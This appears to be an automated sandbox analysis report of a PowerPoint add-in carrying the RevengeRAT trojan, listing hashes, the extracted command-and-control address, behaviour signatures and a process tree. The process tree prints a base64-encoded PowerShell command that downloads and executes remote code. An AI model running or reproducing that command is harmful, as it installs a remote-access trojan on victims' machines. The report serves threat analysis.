Analysis

  • max time kernel
    118s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    06/08/2024, 19:41

General

  • Target

    LinhasSumarizadas_2024046175.ppam

  • Size

    42KB

  • MD5

    433bdbd638bb73e32bbd0f09f5b65615

  • SHA1

    9ada46ba3bf29a15c2fab966b34ff84eafc80e16

  • SHA256

    c9d30547f95342adddd7fc858c2b26bd7161e7c74d507659047810368cf09425

  • SHA512

    a6c6f9808b75cab61298720422d97b26c73d623a4c2a9e573a650cff05f10cafb162c2450d0fca9071ac850552268ff5556e958d9794b360c3ae61f4f6257d9b

  • SSDEEP

    768:VPVv71ojMnlnxl+CwdBFvqEyvsFNDYg+qyfDuoDrC8v+fanxw3hcgd7hSFmq8:V9BTlb+bdrvMg+xC2ei+Cxw3Wc7hSc

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.173.171:5222

Mutex

8b39f6245ef24a80

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\LinhasSumarizadas_2024046175.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:796
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2804
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:2712

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1820-0-0x000000002DC61000-0x000000002DC62000-memory.dmp

      Filesize

      4KB

    • memory/1820-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1820-2-0x0000000073C4D000-0x0000000073C58000-memory.dmp

      Filesize

      44KB

    • memory/1820-7-0x0000000004750000-0x0000000004850000-memory.dmp

      Filesize

      1024KB

    • memory/1820-8-0x0000000004750000-0x0000000004850000-memory.dmp

      Filesize

      1024KB

    • memory/1820-11-0x0000000004750000-0x0000000004850000-memory.dmp

      Filesize

      1024KB

    • memory/1820-19-0x0000000004750000-0x0000000004850000-memory.dmp

      Filesize

      1024KB

    • memory/1820-18-0x0000000004750000-0x0000000004850000-memory.dmp

      Filesize

      1024KB

    • memory/1820-17-0x0000000004750000-0x0000000004850000-memory.dmp

      Filesize

      1024KB

    • memory/1820-48-0x0000000073C4D000-0x0000000073C58000-memory.dmp

      Filesize

      44KB

    • memory/1820-47-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2712-44-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2712-43-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2712-34-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2712-40-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2712-36-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2712-38-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2712-45-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2712-42-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2804-33-0x0000000002900000-0x0000000002918000-memory.dmp

      Filesize

      96KB

    • memory/2804-31-0x0000000002900000-0x0000000002918000-memory.dmp

      Filesize

      96KB

    • memory/2804-23-0x0000000002900000-0x0000000002918000-memory.dmp

      Filesize

      96KB

    • memory/2804-25-0x0000000002900000-0x0000000002918000-memory.dmp

      Filesize

      96KB

    • memory/2804-29-0x0000000002900000-0x0000000002918000-memory.dmp

      Filesize

      96KB

    • memory/2804-28-0x0000000002900000-0x0000000002918000-memory.dmp

      Filesize

      96KB

    • memory/2804-22-0x0000000002900000-0x0000000002918000-memory.dmp

      Filesize

      96KB